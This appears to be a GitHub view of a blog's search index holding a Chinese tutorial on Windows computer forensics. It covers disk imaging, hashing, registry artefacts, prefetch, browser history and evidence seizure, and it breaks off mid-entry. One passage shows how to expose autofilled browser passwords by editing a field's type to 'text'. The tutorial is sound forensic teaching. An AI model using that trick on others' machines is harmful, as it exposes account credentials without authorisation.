Repository navigation
Expand file tree
/
Copy pathsearch.xml
More file actions
332 lines (159 loc) · 286 KB
/
Copy pathsearch.xml
File metadata and controls
332 lines (159 loc) · 286 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>数字取证-计算机取证篇</title>
<link href="/2023/05/27/%E6%95%B0%E5%AD%97%E5%8F%96%E8%AF%81-%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%8F%96%E8%AF%81%E7%AF%87/"/>
<url>/2023/05/27/%E6%95%B0%E5%AD%97%E5%8F%96%E8%AF%81-%E8%AE%A1%E7%AE%97%E6%9C%BA%E5%8F%96%E8%AF%81%E7%AF%87/</url>
<content type="html"><![CDATA[<h1 id="计算机取证篇"><a href="#计算机取证篇" class="headerlink" title="计算机取证篇"></a>计算机取证篇</h1><h1 id="数字取证"><a href="#数字取证" class="headerlink" title="数字取证"></a>数字取证</h1><p>数字取证学描述了电子证据的收集、分析和报告。它涵盖了整个过程:从识别数字证据的那一刻起,到完成分析并呈现于法庭诉讼时。因为几乎每个犯罪者都会留下他们活动和意图的“数字签名”,而这些“数字签名”将作为有效的诉讼证据提供给法庭,以便将犯罪嫌疑人绳之以法。</p><p>数字取证这项技能应用非常广泛,适用于执法、企业调查、网络入侵、恶意软件分析和事件响应等等。</p><p>NIST建议数字取证调查的七个步骤,细分为两个较大的阶段:收集和解释。该过程从收集潜在证据开始,收集阶段包括以下步骤:1.保护2.获取3.保全。第二阶段解释,包括这些步骤:4.恢复5.导航6.识别/提取7.分析。</p><h1 id="计算机取证"><a href="#计算机取证" class="headerlink" title="计算机取证"></a>计算机取证</h1><h2 id="取证分析原则"><a href="#取证分析原则" class="headerlink" title="取证分析原则"></a>取证分析原则</h2><ol><li><p>取证前务必要对证据所在载体进行备份并计算哈希(MD5,SHA)留作完整性校验时使用,同时,备份方式要采用位级别的备份而不是文件级备份。</p></li><li><p>取证过程全部是对备份数据的提取和分析,原始数据要保留下来为以后提供完整性证明。</p></li><li><p>要保证所采取的取证手段不破坏被取证对象。</p></li><li><p>对已获的数据做详细记录并存档核查。</p></li><li><p>取证人员应该保护证据的保密性,避免未经授权的访问和披露。</p></li></ol><h2 id="取证基础"><a href="#取证基础" class="headerlink" title="取证基础"></a>取证基础</h2><h3 id="硬盘克隆"><a href="#硬盘克隆" class="headerlink" title="硬盘克隆"></a>硬盘克隆</h3><p><strong>定义:</strong>从硬盘克隆到硬盘。</p><p>逐磁道,逐扇区。物理级的数据精确复制。能获取所有文件,且包括所有的已被删除或隐藏的文件,未分配区域,磁盘闲散空间等。</p><p><strong>意义:</strong></p><ul><li>保存原始证据;</li><li>制作检验用的精确拷贝;</li><li>镜像数据法律上与原始证据等同;</li><li>检验可在备份数据上进行,降低了在原证据盘上检验带来的风险;</li><li>数据镜像产生的数字指纹(HASH),可对原证据盘进行检验前后数据是否发生变化进行对比,有利于法庭质证。</li></ul><h3 id="硬盘镜像"><a href="#硬盘镜像" class="headerlink" title="硬盘镜像"></a>硬盘镜像</h3><p><strong>定义:</strong>从硬盘克隆到文件。</p><p>常见的镜像格式有DD,E01,AFF,BIN,ISO等。</p><p>镜像文件包含所有文件,包括所有的已被删除或隐藏的文件,未分配区域,磁盘闲散空间等。</p><h4 id="镜像类型"><a href="#镜像类型" class="headerlink" title="镜像类型"></a>镜像类型</h4><p><strong>DD镜像(*.001)</strong></p><p>DD镜像使用的最广泛,因为兼容性很强,几乎所有的取证工具都支持DD镜像,没有压缩制作起来速度快。</p><p>问题:容量大。</p><p>原1T内存使用了100G做出来的镜像大小为1T。</p><p><strong>e01镜像(*.e01)</strong></p><p>可以进行压缩片段的功能,对每一个片段在需要时进行解压或单独调用,兼顾了速度和完整性,节省空间。在生成 E01 格式证据文件时,会要求用户输入与调查案件相关的信息,如调查人员、地点、机构、备注等元数据。这些元数据将随证据数据信息一同 存入 E01 文件中。文件的每个字节都经过 32 位的 CRC 校验,这就使得证据被篡改的可能性几乎为 0。</p><p>问题:计算Hash值需专业工具。</p><p>原1T内存使用了100G做出来的镜像大小大概是100G。</p><h3 id="数据擦除-BMB"><a href="#数据擦除-BMB" class="headerlink" title="数据擦除-BMB"></a>数据擦除-BMB</h3><p><code>BMB</code>国家保密局<code>21-2007</code>标准,对硬盘做六次擦除。</p><p>1.零覆盖硬盘所有可以寻址的位置;</p><p>2.用二进制<code>0x01</code>覆盖硬盘所有可以寻址的位置;</p><p>3.随机数覆盖硬盘所有可以寻址的位置;</p><p>4.随机数覆盖硬盘所有可以寻址的位置;</p><p>5.随机数覆盖硬盘所有可以寻址的位置;</p><p>6.用零覆盖硬盘所有可以寻址的位置;</p><p>注意:要做硬盘克隆的时候用旧盘的情况,需要进行整体数据擦除。</p><h3 id="哈希-HASH"><a href="#哈希-HASH" class="headerlink" title="哈希(HASH)"></a>哈希(HASH)</h3><p>Hash算法又称Hash函数,把任意长度的输入通过散列算法变换成固定长度的输出,一般用来校验数据完整性。</p><p>Hash种类:</p><ul><li>MD5</li><li>SHA-1</li><li>SHA-256</li><li>SHA-512</li><li>…</li></ul><p>Hash特性:</p><ul><li>两个内容完全一致的文件其HASH值相同;</li><li>两个同名文件内容稍有差异HASH值不同;</li><li>具有不可逆性,不能通过HASH值恢复源文件内容;</li></ul><p>HASH应用:电子签名,数据安全,文件一致性检验等;</p><h3 id="常见文件系统"><a href="#常见文件系统" class="headerlink" title="常见文件系统"></a>常见文件系统</h3><p>Windows文件系统:<code>FAT12/16</code>、<code>FAT32</code>、<code>exFAT</code>、<code>NTFS</code></p><p><strong>FAT32:</strong></p><ul><li>32位文件分配表;</li><li>簇大小=512B-32KB</li><li>分区最大2TB(理论上)</li><li>单个文件4GB</li><li>无安全机制:任何人可以访问任何文件(无<code>EFS</code>加密)。</li></ul><p><strong>exFAT:</strong></p><ul><li>一般适用于闪存的文件系统(U盘)就是为了解决<code>FAT32</code>的一些缺点出来的,支持大于4GB的文件 。</li></ul><p><strong>NTFS:</strong></p><ul><li>64位文件分配表(更快的读、写、搜)</li><li>有安全机制:文件的访问有限制(EFS)</li><li>分区支持最大2TB</li><li>主文件表(MFT)是这个卷上每一个文件的索引</li></ul><h3 id="时区和时间戳"><a href="#时区和时间戳" class="headerlink" title="时区和时间戳"></a>时区和时间戳</h3><p>时区指的是地球上不同的区域,根据经度的分别,将其划分成不同的时间段,并约定使用相同的时间标准。通常情况下,每个时区都以全球协调时间(UTC)为基础,在此基础上加上或减去一定的小时数来表示该时区的本地时间。世界各国通过协商认定了24个时区,并规定每个时区的时间偏移量。</p><p><img src="https://s2.loli.net/2023/05/19/DvieqdbSGJ3uP7C.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/DvieqdbSGJ3uP7C.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230517133112471"></p><p>当然,计算机也有自己记录时间的方式,有些内部时间会采用Unix时间戳进行记录。Unix时间戳是一个整数值,表示自1970年1月1日00:00:00 UTC以来的毫秒数,需要注意的是,大多数Unix系统的时间戳功能仅精确到最接近的秒。</p><p><img src="https://s2.loli.net/2023/05/19/gWNJRpoMQPxbS9e.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/gWNJRpoMQPxbS9e.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230517133205720"></p><p>在数字取证中,时间戳通常是电子证据的重要组成部分之一。时间戳记录了特定事件发生的确切日期和时间,并且可能包含有关系统时钟和时区设置的信息。因此,取证调查员必须了解所涉及的所有设备和服务器的时区,并相应地调整其分析,以便准确地确定事件发生的时间和顺序。如果一项调查涉及到跨越多个时区的人员或设备,则调查员必须能够根据每个时区的时间戳协调分析,并考虑如何补偿时间差异。</p><p>因为它们可以影响到电子证据的准确性和可靠性。了解这些概念并正确地应用它们对于成功的数字取证非常关键。</p><h3 id="注册表"><a href="#注册表" class="headerlink" title="注册表"></a>注册表</h3><p>对于取证调查员来说,注册表可以被当作是一个信息宝库。因为在Windows操作系统中,几乎所有的软件安装和卸载、硬件驱动程序安装和卸载以及系统参数设置都会被记录到注册表中。因此,注册表可以提供大量有用的信息,帮助取证调查员了解计算机系统的历史状态及其相关活动。</p><p>通过分析注册表可以找到的信息包括:</p><ol><li>安装的软件、应用程序及其版本信息;</li><li>用户登录信息,包括用户名和密码的哈希值;</li><li>访问过的网站和文件路径;</li><li>硬件设备的配置信息;</li><li>系统启动项、服务以及自动运行的程序;</li><li>用户和他们最后一次使用系统的时间;</li><li>系统连接过的Wi-Fi;</li><li>列出在系统上进行的所有搜索;</li><li>等等…….</li></ol><p>这些信息对于取证调查员来说非常有价值,可以帮助他们了解计算机系统的使用情况,发现可能的恶意活动,辅助判断犯罪嫌疑人的行为等。但需要注意的是,在进行注册表取证时需要谨慎操作,避免对系统造成不必要的损害或者误删除重要信息。</p><h4 id="注册表信息"><a href="#注册表信息" class="headerlink" title="注册表信息"></a>注册表信息</h4><p>win+R输入regedit 打开注册表。</p><p>在注册表中,有根文件夹。这些根文件夹称为 <code>hives</code>。有5个注册表配置单元。</p><ul><li><strong>HKEY_USERS</strong>: 包含所有加载的用户配置文件 </li><li><strong>HKEYCURRENT_USER</strong>: 当前登录用户的个人资料</li><li><strong>HKEYCLASSES_ROOT</strong>: 用于打开文件的应用程序的配置信息</li><li><strong>HKEYCURRENT_CONFIG</strong>: 系统启动时的硬件配置文件 </li><li><strong>HKEYLOCAL_MACHINE</strong>: 配置信息,包括硬件和软件设置</li></ul><p>在物理层面,每个注册表配置单元(Hive)文件,系统都有相应的支持文件和备份,以便在系统启动失败时替代当前使用的注册表配置单元文件包含信息。</p><p><strong>Win95/98</strong></p><ul><li>USER.DAT,SYSTEM.DAT</li></ul><p><strong>WinNT/2000/XP/7/8/10</strong></p><ul><li><code>%SystemRoot%\System32\Config</code>目录下</li><li>SAM - 安全账户管理</li><li>SECURITY - 安全性设置信息</li><li>SYSTEM - 硬件和系统信息</li><li>SOFTWARE - 安装软件信息</li><li>DEFAULT - 用户的配置信息</li></ul><h4 id="系统信息"><a href="#系统信息" class="headerlink" title="系统信息"></a>系统信息</h4><p><code>\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion</code></p><p><img src="https://s2.loli.net/2023/05/19/5vKQjF8NuZbwzHS.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/5vKQjF8NuZbwzHS.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="注册表系统信息"></p><h4 id="用户信息"><a href="#用户信息" class="headerlink" title="用户信息"></a>用户信息</h4><p><code>\HKEY_USERS\</code></p><p><img src="https://s2.loli.net/2023/05/19/HNefhL3EpvYTj1R.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/HNefhL3EpvYTj1R.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="1682560438986-c15ae5f8-b35b-428d-9f69-4464f70e7737"></p><p>拥有管理员权限的id用户id最后为500。</p><p><img src="https://s2.loli.net/2023/05/19/DxsIujAEM9nrCKY.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/DxsIujAEM9nrCKY.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="1684292232913-590d72d8-4875-4770-a1c6-3330dfb221b5"></p><h4 id="USB使用记录"><a href="#USB使用记录" class="headerlink" title="USB使用记录"></a>USB使用记录</h4><p>USB使用记录一般在泄密类案件用到的比较多。某公司重要文件泄密,这时要检查是否违规外接了USB设备,这时候就可以查看注册表里的USB使用记录来查看是否外接了U盘或外设。记录里是可以看到连接的型号,序列化,名称。</p><p>表项</p><ul><li>System</li><li>Software(Vista/Win7)</li><li>Ntuser.dat</li></ul><p>键值</p><ul><li>SYSTEM\CurrentControlSet\Enum\USBSTOR</li><li>SYSTEM\CurrentControlSet\Enum\USB</li><li>SYSTEM\MountedDevices</li><li>NTUSER.dat\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2</li></ul><p><code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR</code></p><p>这里可以查找到任何曾经连接到系统的<code>USB</code>存储设备的相关信息。展开<code>USBSTOR</code>以查看曾经连接到此系统的每个<code>USB</code>存储设备的列表。</p><p><img src="https://s2.loli.net/2023/05/19/GP2TRfsBkw1UJY3.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/GP2TRfsBkw1UJY3.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230517143126087"></p><p>它会在右侧窗口中显示全局唯一标识符 (GUID)、名称和硬件 ID 等。这可能正是我们需要的证据。</p><h4 id="无线信息"><a href="#无线信息" class="headerlink" title="无线信息"></a>无线信息</h4><p><code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles</code></p><p>许多黑客会破解别人的WIFI,并利用它进行入侵。通过这种方式,如果IP地址被跟踪,它将追溯到邻居的或其他无线AP,而不是他们自己。</p><p><img src="https://s2.loli.net/2023/05/19/UArGaJH1xRNq9Ts.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/UArGaJH1xRNq9Ts.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230517134346311"></p><p>在这里将找到计算机已连接过的无线接入点的 <code>GUID</code> 列表。当单击其中一个时,它会显示信息,包括 <code>SSID</code> 名称和最后一次连接的十六进制日期。</p><h4 id="近期的文档键"><a href="#近期的文档键" class="headerlink" title="近期的文档键"></a>近期的文档键</h4><p><code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs</code></p><p>作为一名取证调查员,我们可以利用Windows注册表中记录的大量用户活动信息来追踪用户或攻击者的行为轨迹。虽然这些注册表键的设计初衷是为了提高Windows的效率和稳定性,但对于我们来说,它们就像是一张用户或攻击者活动的路线图,为我们提供了重要的取证线索。</p><p>其中一个键是“RecentDocs”键。它通过文件扩展名跟踪系统上使用或打开的最新文档。</p><p>例如通过查找<code>.pdf</code>扩展名键,我们可以找到最近打开的PDF文件列表。</p><p>当我们单击其中一个键时,可以查看该文档的信息,包括十六进制和ASCII格式的文档数据。</p><p>在本例中,它表明该文档是<code>hack.pdf</code>。</p><p><img src="https://s2.loli.net/2023/05/19/mj2rVTEFgwvKyzd.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/mj2rVTEFgwvKyzd.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230517135811223"></p><h4 id="最后一个url"><a href="#最后一个url" class="headerlink" title="最后一个url"></a>最后一个url</h4><p><code>HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs</code></p><p>当用户在使用 Internet Explorer 访问网页时,该网页的 URL 地址会被存储在 Windows 注册表中。通过查看注册表中的相应键值,可以追踪用户最近访问的网页,这有助于揭示恶意软件的来源或者用户搜索的内容,推测嫌疑人的行为和意图。</p><p><img src="https://s2.loli.net/2023/05/19/Orp4XLyE7bWjl8A.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/Orp4XLyE7bWjl8A.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230517140903228"></p><h4 id="IP地址"><a href="#IP地址" class="headerlink" title="IP地址"></a>IP地址</h4><p><code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces</code></p><p>Windows 注册表不仅可以记录用户访问过的网页,还可以跟踪用户接口的 IP 地址。在注册表中,每个接口都有相应的键值,它们包含了该接口的 IP 地址、子网掩码和 DHCP 服务器租用 IP 的时间等信息。</p><p>通过查看这些键值,我们可以确定嫌疑人在入侵或犯罪时使用了哪个特定的 IP 地址。</p><p><img src="https://s2.loli.net/2023/05/19/1DlM6ngiq3IQza2.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/1DlM6ngiq3IQza2.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230517141549773"></p><h4 id="系统启动项"><a href="#系统启动项" class="headerlink" title="系统启动项"></a>系统启动项</h4><p>在计算机取证调查中,我们需要经常查找系统启动时设置启动的应用程序或服务。恶意软件通常会将自己设置为每次系统重启时启动,以便攻击者能够保持对系统的控制。这些启动项的信息可以在 Windows 注册表的多个位置中找到,但我们通常只需要查看一些最常用的设置键即可。</p><p><code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code></p><p><img src="https://s2.loli.net/2023/05/19/rAym8sENknfMlIa.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/rAym8sENknfMlIa.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230517141917843"></p><p>任何被指定在这些子键中的软件,都会在系统启动时被自动运行。这里也可能存在<code>rootkit</code>以及其他恶意软件,它们同样会在每次系统启动后进行自启动。</p><p><strong>启动时运行一次</strong></p><p><code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code></p><p><strong>自启动服务</strong></p><p><code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services</code></p><p>上面的子键列出了所有在系统启动时自动启动的服务。当键值设置为2时,服务将会自动启动;当键值设置为3时,必须手动启动服务;当键值设置为4时,该服务会被禁用。</p><p><strong>特定用户登录时启动</strong></p><p><code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code></p><h4 id="硬件设备"><a href="#硬件设备" class="headerlink" title="硬件设备"></a>硬件设备</h4><p>如果嫌疑人使用CD-ROM、DVD、硬盘驱动器或闪存驱动器等必须挂载的硬件设备来读取或写入数据,注册表将会记录挂载的设备信息。这些信息存储在:</p><p><code>HKEY_LOCAL_MACHINE\System\MountedDevices</code></p><p>如下图所示,当点击这个键时,它会提供一个包含曾经安装在该机器上的每个设备的详细列表。</p><p><img src="https://s2.loli.net/2023/05/19/ah8P1X4o3cBNzU2.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/ah8P1X4o3cBNzU2.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230517143615477"></p><p>如果需要获取任何已安装设备的更多信息,只需点击即可。如果系统上缺少这块设备,那么取证调查员就可以知道需要找到这块硬件才能找到进一步的犯罪证据。</p><h4 id="最近一次正常关机时间"><a href="#最近一次正常关机时间" class="headerlink" title="最近一次正常关机时间"></a>最近一次正常关机时间</h4><p><code>\HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Windows\ShutdownTime</code></p><p><img src="https://s2.loli.net/2023/05/19/cO7viTkde9Ww4P1.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/cO7viTkde9Ww4P1.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="最后一次开机"></p><p>需要时间转换工具转换成北京时间。</p><p><img src="https://s2.loli.net/2023/05/19/CA3jRwYHbQGLtdT.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/CA3jRwYHbQGLtdT.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230517131017312"></p><h3 id="Windows-预读取文件的痕迹"><a href="#Windows-预读取文件的痕迹" class="headerlink" title="Windows 预读取文件的痕迹"></a>Windows 预读取文件的痕迹</h3><h4 id="预读取系统介绍"><a href="#预读取系统介绍" class="headerlink" title="预读取系统介绍"></a>预读取系统介绍</h4><p>微软实施预读取系统的目的不是为了取证分析,而是为了提高Windows的性能。预读取系统正如其名称所述,它会预先读取系统预计用户将需要的文件,并将它们加载到内存中,从而使文件获取更快,更有效。这是一种人工智能,它试图预测用户接下来需要什么,并为用户做好准备。</p><p>Windows预读取系统的奇妙之处在于,即使用户极其聪明,试图掩盖自己的踪迹,它仍能透露出用户正在做什么的大量信息。自Windows XP以来,预读就一直是Windows操作系统的一部分,在Windows 10中默认启用预读。</p><p>这些预取文件包含关于所用文件的元数据,例如应用程序的最后使用日期、应用程序文件的存储位置、应用程序的使用次数等等。这些信息对取证调查是非常有用的,它们可能成为证明嫌疑人确实使用与犯罪有关的应用程序的关键信息,即使这些应用程序已从系统中删除。</p><h4 id="预读取文件位置与分析"><a href="#预读取文件位置与分析" class="headerlink" title="预读取文件位置与分析"></a>预读取文件位置与分析</h4><p>可以在<code>C:\windows\prefetch</code>下找到预取文件</p><p><img src="https://s2.loli.net/2023/05/19/QhjN5b3Hp67EAev.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/QhjN5b3Hp67EAev.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230517145207161"></p><p>这些以 <code>.pf</code> 结尾的就是需要关注的文件。</p><p>我们需要对文件进行解析,以获取它所包含的所有信息。有许多程序可以完成这项工作,而且它们都非常出色,但是Nirsoft的免费WinPrefetchView是我个人认为最为方便易用的选择。</p><p>它将抓取所有预取文件并如下解析文件。</p><p><img src="https://s2.loli.net/2023/05/19/5GAZUXEjPD2QM7l.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/5GAZUXEjPD2QM7l.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230517145735839"></p><p>以<code>BAIDUNETDISK.EXE</code>为例,我们可以看到其文件路径、运行次数以及最后一次运行的时间等信息,这些都可能成为取证调查的关键信息。下方窗格,其中列出了程序所使用的每个文件以及它们的路径。</p><h3 id="浏览器取证"><a href="#浏览器取证" class="headerlink" title="浏览器取证"></a>浏览器取证</h3><p>嫌疑人使用的网络浏览器可以为我们提供大量关于在被捕获前其在线做过的活动信息。</p><p>以Mozilla Firefox为例,对于 Mozilla Firefox 及其许多变体,大部分信息都存储在 SQLite 数据库中。我们可以根据操作系统在不同的位置找到这些数据库。</p><p><code>C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\eyksgzjn.default-release</code></p><p><img src="https://s2.loli.net/2023/05/19/IvVqudG7RkNOwh4.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/IvVqudG7RkNOwh4.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230517151530437"></p><p>这里使用Navicat打开展示一下,可以在 <code>moz_places</code> 表中查看用户在浏览器中输入的内容。</p><p><img src="https://s2.loli.net/2023/05/19/IgBDvniLjG7maKf.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/IgBDvniLjG7maKf.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230517151851404"></p><h2 id="Windows计算机取证"><a href="#Windows计算机取证" class="headerlink" title="Windows计算机取证"></a>Windows计算机取证</h2><h3 id="Windows现场取证流程"><a href="#Windows现场取证流程" class="headerlink" title="Windows现场取证流程"></a>Windows现场取证流程</h3><p><img src="https://s2.loli.net/2023/05/19/YSUq84dG9BZQw1o.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/YSUq84dG9BZQw1o.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="Windows现场取证流程"></p><p>去现场勘察之前要准备好案件同步,物证,取证工具,现场取证的U盘硬盘,录像机,物证袋,封条等等。</p><p>收集相关的物证比如电脑,手机,外设(光盘,硬盘,U盘,数据连接线),设备等。</p><p>如果计算机在开机状态要准备好在线取证,对于在计算机上正在运行的重要数据,重要程序,执行的指令等进行固定。</p><p>如果计算机在关机状态就要使用到离线启动的方式,因为正常取证流程是不应该对它进行开机的,要使用引导启动。(比如取证U盘插入后使用U盘里的系统引导着启动),如果开启了固件加密,那么只能启动本身的系统,无法引导启动。</p><h3 id="计算机存储介质的封存方法"><a href="#计算机存储介质的封存方法" class="headerlink" title="计算机存储介质的封存方法"></a>计算机存储介质的封存方法</h3><p>windows的设备有主机,一体机,笔记本,平板,手机等。</p><h4 id="笔记本电脑"><a href="#笔记本电脑" class="headerlink" title="笔记本电脑"></a>笔记本电脑</h4><p>将笔记本电脑闭合,使用封条封住笔记本电脑的开合口,数据接口和硬盘拆卸口,使之在拆封前无法打开电源,无法使用任何数据接口,无法拆卸硬盘。</p><h4 id="台式机"><a href="#台式机" class="headerlink" title="台式机"></a>台式机</h4><p>记录台式电脑所有外设的接口位置,然后拔出,使用封条封住电脑的数据接口,电源接口和侧面版接缝,使之在拆封前无法通电,无法使用任何数据接口,无法拆卸硬盘。封好后贴上标签 -> 属于谁,封存的时间,运行状况。</p><h4 id="其他存储介质的封存方法"><a href="#其他存储介质的封存方法" class="headerlink" title="其他存储介质的封存方法"></a>其他存储介质的封存方法</h4><p>硬盘,U盘:直接用物证袋进行封存,使之在拆封前无法使用。封好后贴上标签 -> 编号,名称,提取时间,签名,备注。</p><h3 id="Windows开机状态处理方法"><a href="#Windows开机状态处理方法" class="headerlink" title="Windows开机状态处理方法"></a>Windows开机状态处理方法</h3><p><img src="https://s2.loli.net/2023/05/19/TEF7dkorycN9KqL.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/TEF7dkorycN9KqL.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="Windows开机状态处理方法"></p><p>首先查看下电脑里面正在运行的程序,重点查看加密文件,加密容器,运行的聊天软件,登录的网站后台等重要程序,查找涉案关键性数据,文件内容可能为加密容器的解密密钥。同时要查看下计算机是否有远程,远程分为主控方和被控方,如果计算机是主控方要及时的进行远程数据固定,如果是被控方要先保证好网络环境避免被他人远程破坏。</p><p>要优先固定易失数据,比如电脑正在运行的网站后台,远程连接,正在运行的程序等,及时制作内存镜像。</p><h4 id="网页现场紧急固定"><a href="#网页现场紧急固定" class="headerlink" title="网页现场紧急固定"></a>网页现场紧急固定</h4><p>首先看一下网页设置里是否关闭了<code>关闭窗口时清除数据</code>,如果设置了要及时把这个取消。</p><p><img src="https://s2.loli.net/2023/05/19/clnp6Bd5zLasvFQ.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/clnp6Bd5zLasvFQ.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230516202649936"></p><ol><li><p>录屏:注意不要存储在涉案计算机,可以借用摄像机,执法记录仪,手机等工具,要进行时间校准。</p></li><li><p>网站账号密码固定:注意电脑桌面的便签,记事本,有道笔记等应用。</p></li><li><p>厂商网站固定工具截长图:如果有长截图工具可以利用长截图工具。</p></li></ol><p><strong>网站密码获取</strong></p><p>有些浏览器有记录密码自动填写功能,要获取明文需要浏览器密码进行获取,如果不知道浏览器密码可以前往目标网站进行自动填写,然后修改网页源代码密码这一栏中<code>type</code>属性<code>password</code>修改为<code>text</code>再回车,就可以显示明文密码。</p><p><img src="https://s2.loli.net/2023/05/19/wWCLrABjzJpYtnl.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/wWCLrABjzJpYtnl.png" srcset="data:image/gif;base64,R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" alt="image-20230516203019077"></p><p><img src="https://s2.loli.net/2023/05/19/nsvVCFhxZyp5bam.png" class="lazyload" data-srcset="https://s2.loli.net/2023/05/19/nsvVCFhxZyp5bam.png" 